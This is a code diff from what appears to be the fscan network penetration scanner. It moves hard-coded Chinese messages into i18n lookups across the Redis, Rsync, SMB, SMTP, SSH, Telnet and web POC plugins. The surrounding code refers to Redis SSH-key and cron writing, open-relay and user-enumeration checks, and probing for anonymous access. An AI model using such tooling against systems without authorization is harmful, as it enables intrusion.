@@ -170,7 +170,7 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("redis PING测试失败: %s", strings.TrimSpace(responseStr)),
|
||||
Error: fmt.Errorf("%s", i18n.Tr("redis_ping_failed", strings.TrimSpace(responseStr))),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -212,7 +212,7 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "redis",
|
||||
VulInfo: "未授权访问",
|
||||
VulInfo: i18n.GetText("unauthorized_access"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -288,13 +288,13 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
var banner string
|
||||
|
||||
if strings.Contains(responseStr, "PONG") {
|
||||
banner = "Redis服务 (PONG响应)"
|
||||
banner = i18n.GetText("redis_service_pong")
|
||||
} else if strings.Contains(responseStr, "-NOAUTH") {
|
||||
banner = "Redis服务 (需要认证)"
|
||||
banner = i18n.GetText("redis_service_auth_required")
|
||||
} else if strings.Contains(responseStr, "-ERR") {
|
||||
banner = "Redis服务 (协议响应)"
|
||||
banner = i18n.GetText("redis_service_protocol_response")
|
||||
} else {
|
||||
banner = "Redis服务"
|
||||
banner = i18n.GetText("redis_service_plain")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
||||
@@ -552,10 +552,10 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
|
||||
// 读取密钥文件
|
||||
key, err := p.readFile(filename)
|
||||
if err != nil {
|
||||
return false, fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err), err
|
||||
return false, i18n.Tr("redis_key_file_read_failed", filename, err), err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return false, fmt.Sprintf("密钥文件 %s 为空", filename), nil
|
||||
return false, i18n.Tr("redis_key_file_empty", filename), nil
|
||||
}
|
||||
|
||||
// 写入密钥
|
||||
@@ -596,7 +596,7 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
|
||||
// 解析目标地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return false, "主机地址格式错误", nil
|
||||
return false, i18n.GetText("redis_host_format_invalid"), nil
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
|
||||
|
||||
@@ -110,7 +110,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("无法连接到Rsync服务"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")),
|
||||
}
|
||||
}
|
||||
modules := p.getModules(conn, session.Config)
|
||||
@@ -120,7 +120,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("无法获取模块列表"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -215,7 +215,7 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
||||
modules := p.getModules(conn, session.Config)
|
||||
|
||||
if len(modules) > 0 {
|
||||
banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", "))
|
||||
banner := i18n.Tr("rsync_unauth_modules", strings.Join(modules, ", "))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
@@ -328,7 +328,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: fmt.Errorf("无法连接到Rsync服务"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
@@ -363,12 +363,12 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
lines := strings.Split(responseStr, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "@RSYNCD:") {
|
||||
banner = fmt.Sprintf("Rsync服务 (%s)", strings.TrimSpace(line))
|
||||
banner = i18n.Tr("rsync_service_info", strings.TrimSpace(line))
|
||||
break
|
||||
}
|
||||
}
|
||||
if banner == "" {
|
||||
banner = "Rsync文件同步服务"
|
||||
banner = i18n.GetText("rsync_file_sync_service")
|
||||
}
|
||||
} else {
|
||||
return &ScanResult{
|
||||
|
||||
@@ -34,7 +34,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("SMB插件仅支持139和445端口"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("smb_port_only")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -44,7 +44,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("SMB协议探测失败: %w", err),
|
||||
Error: fmt.Errorf("%s: %w", i18n.GetText("smb_probe_failed"), err),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,9 +71,9 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success {
|
||||
var successMsg string
|
||||
if config.Credentials.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
|
||||
successMsg = i18n.Tr("smb_unauth_domain_access", target, config.Credentials.Domain, result.Username, result.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s:%s", target, result.Username, result.Password)
|
||||
successMsg = i18n.Tr("smb_unauth_access", target, result.Username, result.Password)
|
||||
}
|
||||
common.LogVuln(successMsg)
|
||||
return result
|
||||
@@ -143,7 +143,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
|
||||
if displayUser == "" {
|
||||
displayUser = "<empty>"
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("SMB %s 匿名访问 - %s:%s", target, displayUser, cred.Password))
|
||||
output.WriteString(i18n.Tr("smb_anonymous_access_detail", target, displayUser, cred.Password))
|
||||
for _, share := range shareInfo {
|
||||
output.WriteString(fmt.Sprintf("\n%s", share))
|
||||
}
|
||||
@@ -156,7 +156,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
|
||||
Service: "smb",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "SMB匿名访问",
|
||||
Banner: i18n.GetText("smb_anonymous_banner"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -216,13 +216,13 @@ func probeTarget(ctx context.Context, host string, port int, timeout time.Durati
|
||||
// 首先尝试SMBv1协商
|
||||
_, err = conn.Write(smbv1NegotiatePacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv1协商包失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_negotiate_send_failed"), err)
|
||||
}
|
||||
|
||||
// 读取SMBv1协商响应
|
||||
r1, err := readSMBMessage(conn)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv1协商响应失败: %v", err))
|
||||
common.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err))
|
||||
}
|
||||
|
||||
// 检查是否支持SMBv1
|
||||
@@ -239,12 +239,12 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
|
||||
// 发送Session Setup请求
|
||||
_, err := conn.Write(smbv1SessionSetupPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv1 Session Setup失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_send_failed"), err)
|
||||
}
|
||||
|
||||
ret, err := readSMBMessage(conn)
|
||||
if err != nil || len(ret) < 47 {
|
||||
return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_read_failed"), err)
|
||||
}
|
||||
|
||||
info := &SMBTarget{
|
||||
@@ -301,12 +301,12 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi
|
||||
// 发送SMBv2协商包
|
||||
_, err = conn2.Write(smbv2NegotiatePacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2协商包失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_send_failed"), err)
|
||||
}
|
||||
|
||||
r2, err := readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2协商响应失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_read_failed"), err)
|
||||
}
|
||||
|
||||
// 构建NTLM数据包
|
||||
@@ -322,23 +322,23 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi
|
||||
// 发送Session Setup
|
||||
_, err = conn2.Write(smbv2SessionSetupPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2 Session Setup失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_send_failed"), err)
|
||||
}
|
||||
|
||||
_, err = readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2 Session Setup响应失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_read_failed"), err)
|
||||
}
|
||||
|
||||
// 发送NTLM协商包
|
||||
_, err = conn2.Write(ntlmData)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2 NTLM包失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_send_failed"), err)
|
||||
}
|
||||
|
||||
ret, err := readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2 NTLM响应失败: %w", err)
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_read_failed"), err)
|
||||
}
|
||||
|
||||
ntlmOff := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
@@ -455,7 +455,7 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("连接超时"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("connection_timeout")),
|
||||
}, nil
|
||||
case <-ctx.Done():
|
||||
go func() {
|
||||
@@ -701,13 +701,13 @@ func readSMBMessage(conn net.Conn) ([]byte, error) {
|
||||
return nil, err
|
||||
}
|
||||
if n != 4 {
|
||||
return nil, fmt.Errorf("NetBIOS头部长度不足: %d", n)
|
||||
return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n)
|
||||
}
|
||||
|
||||
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
|
||||
|
||||
if messageLength > 1024*1024 {
|
||||
return nil, fmt.Errorf("消息长度过大: %d", messageLength)
|
||||
return nil, fmt.Errorf(i18n.GetText("message_length_too_large")+": %d", messageLength)
|
||||
}
|
||||
|
||||
if messageLength == 0 {
|
||||
|
||||
@@ -269,7 +269,7 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: "未授权访问 - 允许匿名邮件发送",
|
||||
Banner: i18n.GetText("smtp_anonymous_mail_allowed"),
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -321,7 +321,7 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, s
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: "未授权访问 - 开放中继",
|
||||
Banner: i18n.GetText("smtp_open_relay"),
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -386,7 +386,7 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo,
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: fmt.Sprintf("未授权访问 - VRFY命令枚举用户(%s)", user),
|
||||
Banner: i18n.Tr("smtp_vrfy_user_enum", user),
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -456,7 +456,7 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo,
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: fmt.Sprintf("未授权访问 - EXPN命令枚举邮件列表(%s)", list),
|
||||
Banner: i18n.Tr("smtp_expn_list_enum", list),
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -522,7 +522,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
|
||||
var banner string
|
||||
|
||||
if serverInfo != "" {
|
||||
banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo)
|
||||
banner = i18n.Tr("smtp_mail_service_info", serverInfo)
|
||||
} else {
|
||||
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||
if err != nil {
|
||||
@@ -533,7 +533,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
banner = "SMTP邮件服务"
|
||||
banner = i18n.GetText("smtp_mail_service")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("smtp_service", target, banner))
|
||||
|
||||
@@ -167,11 +167,11 @@ func classifySSHErrorType(err error) ErrorType {
|
||||
|
||||
// SSH 特有的网络/临时错误(需要重试)
|
||||
sshNetworkErrors := append(CommonNetworkErrors,
|
||||
"handshake failed", // 握手失败,可能是服务端限流
|
||||
"ssh: disconnect", // SSH 主动断开
|
||||
"connection closed", // 连接被关闭
|
||||
"max startups", // SSH MaxStartups 限制
|
||||
"too many authentication", // 认证次数过多
|
||||
"handshake failed", // 握手失败,可能是服务端限流
|
||||
"ssh: disconnect", // SSH 主动断开
|
||||
"connection closed", // 连接被关闭
|
||||
"max startups", // SSH MaxStartups 限制
|
||||
"too many authentication", // 认证次数过多
|
||||
)
|
||||
|
||||
return ClassifyError(err, sshAuthErrors, sshNetworkErrors)
|
||||
@@ -268,7 +268,7 @@ func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string {
|
||||
if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 {
|
||||
return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2])
|
||||
}
|
||||
return fmt.Sprintf("SSH服务: %s", bannerStr)
|
||||
return i18n.Tr("ssh_service_banner", bannerStr)
|
||||
}
|
||||
|
||||
return ""
|
||||
|
||||
@@ -249,7 +249,7 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "telnet",
|
||||
Banner: "Telnet远程终端服务 (未授权访问)",
|
||||
Banner: i18n.GetText("telnet_unauth_service"),
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -541,21 +541,21 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
|
||||
var banner string
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
banner = "Telnet远程终端服务 (未授权访问)"
|
||||
banner = i18n.GetText("telnet_unauth_service")
|
||||
} else if strings.Contains(cleanedLower, "login") ||
|
||||
strings.Contains(cleanedLower, "username") ||
|
||||
strings.Contains(cleanedLower, "user") {
|
||||
banner = "Telnet远程终端服务 (需要认证)"
|
||||
banner = i18n.GetText("telnet_auth_required")
|
||||
} else if strings.Contains(cleanedLower, "password") {
|
||||
banner = "Telnet远程终端服务 (只需密码)"
|
||||
banner = i18n.GetText("telnet_password_only")
|
||||
} else if cleaned != "" {
|
||||
displayCleaned := cleaned
|
||||
if len(displayCleaned) > 50 {
|
||||
displayCleaned = displayCleaned[:50] + "..."
|
||||
}
|
||||
banner = fmt.Sprintf("Telnet远程终端服务 (自定义欢迎: %s)", displayCleaned)
|
||||
banner = i18n.Tr("telnet_custom_welcome", displayCleaned)
|
||||
} else {
|
||||
banner = "Telnet远程终端服务"
|
||||
banner = i18n.GetText("telnet_remote_terminal_service")
|
||||
}
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
WebScan "github.com/shadow1ng/fscan/webscan"
|
||||
)
|
||||
@@ -92,7 +93,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
if config.POC.Disabled {
|
||||
return &WebScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("POC扫描已禁用"),
|
||||
Error: fmt.Errorf("%s", i18n.GetText("webpoc_disabled")),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -106,7 +107,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
|
||||
// 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC
|
||||
target := info.Target()
|
||||
common.LogDebug(fmt.Sprintf("WebPOC %s 全量扫描模式", target))
|
||||
common.LogDebug(i18n.Tr("webpoc_full_scan_mode", target))
|
||||
WebScan.WebScan(ctx, info, config)
|
||||
|
||||
return &WebScanResult{
|
||||
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/core"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
WebScan "github.com/shadow1ng/fscan/webscan"
|
||||
@@ -222,18 +223,18 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn
|
||||
|
||||
// 无指纹,跳过
|
||||
if len(fingerprints) == 0 {
|
||||
common.LogDebug(fmt.Sprintf("WebTitle %s 无匹配指纹,跳过POC扫描", target))
|
||||
common.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target))
|
||||
return
|
||||
}
|
||||
|
||||
// 检测CDN/WAF
|
||||
if cdnName := matchCDNorWAF(fingerprints); cdnName != "" {
|
||||
common.LogDebug(fmt.Sprintf("WebTitle %s 检测到%s,跳过POC扫描", target, cdnName))
|
||||
common.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName))
|
||||
return
|
||||
}
|
||||
|
||||
// 基于指纹执行POC扫描
|
||||
common.LogDebug(fmt.Sprintf("WebTitle %s 触发指纹POC扫描: %v", target, fingerprints))
|
||||
common.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints))
|
||||
info.Info = fingerprints
|
||||
WebScan.WebScan(ctx, info, config)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user